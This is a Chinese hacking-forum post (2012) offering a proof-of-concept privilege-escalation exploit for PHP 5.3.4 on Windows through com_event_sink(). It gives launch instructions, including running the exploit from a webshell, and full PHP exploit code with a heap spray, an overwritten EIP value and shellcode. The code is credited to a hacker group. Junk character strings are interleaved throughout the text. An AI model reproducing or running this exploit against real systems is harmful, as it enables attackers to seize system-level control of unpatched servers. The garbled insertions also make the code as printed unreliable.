找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2507|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中5 }7 u  E7 N- `+ i
5 h  J3 T$ T: b! C! N
测试方法如下:cmd /c x:\php\php.exe x:\test.php+ G& ~8 h  X, `& C6 X  C- Q
$ h6 X- @$ o4 G8 |9 |+ d6 u
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php. Q) a. e7 r, G, f4 h% a* S
这里是两个测试的截图:0 v0 J6 o9 K3 d' u6 X

* O: @& o: y. F  n2 K4 T
: J7 U0 J- `; ^) c1 ~3 J$ m
' m/ j8 E8 f* v% E( R8 R- g9 R9 q  _6 A5 W' `

) {+ q* y5 o$ D! n7 M成功利用此漏洞的攻击者将获得系统的最高权限
$ N' H+ S, G. p; N5 Y5 q
( v3 w+ {& q: O8 D0 z) e1 k0 h) K# y3 N2 n) f6 \' q
6 t" d. X, [1 |) g5 [$ p; O, C
1 }) M& k& }8 r- A
' F) r$ f/ q1 T0 U/ s% o
关于漏洞分析稍后附上。一下是PoC代码:
0 A* p) \4 G6 k& \2 f  L  G1 f- A5 N7 R" ~. ]2 b
<?php
: r" a/ ]6 A, v5 V$ U//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
9 T( F! L" p2 {. P6 V//$eip ="\x44\x43\x42\x41";
7 ?( K9 `$ t# q! e# O/ C$eip= "\x4b\xe8\x57\x78";
/ R9 _7 _6 X- x- ]- w2 S$eax ="\x80\x01\x8d\x04";. O! R: w9 ]( X2 J
$deodrant="";- N' Y# M* |0 e/ A
$axespray = str_repeat($eip.$eax,0x80);; \/ N% X: w+ }; K8 z' [
//048d0190
. `) x' C: `: @  M; u- g* {echo strlen($axespray);# t2 E; m& @/ [9 J' x5 ]6 q
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";! H+ D2 L0 B0 h+ P9 `
echo "Silic Group Hacker Army - BlackBap.Org";
% t- V* f2 e/ N* Q//19200 ==4B32 4b00# B7 @, h0 V- p  q6 R; j2 p
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
. D( N* y1 g: \$terminate = "T";* x5 N& ^, \( X/ v3 E# C
$u[] =$deodrant;* ]! @9 F% A  U; d+ {
$r[] =$deodrant.$terminate;9 D- R! @1 U. ^' W9 g+ v
$a[] =$deodrant.$terminate;) P, v8 T1 w+ R8 A0 r5 X- m& D
$s[] =$deodrant.$terminate;+ I! b# S2 X) J7 J
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的( ^/ S: c' B$ K" x! v
$vVar = new VARIANT(0x048d0000+180);6 Z- w& a, @" x7 v/ c* `; C( V6 P
//弹窗代码(Shellcode)
# I$ D4 ~  l2 u3 o  |* L3 F$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";) G) c1 e& w' Q0 q* S
$var2 = new VARIANT(0x41414242);: V8 r  q8 w8 S8 Q- k
com_event_sink($vVar,$var2,$buffer);
3 y# H/ g" C' \1 v0 ?* y?>
+ B  a: D' R3 [  M" f& @& V

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表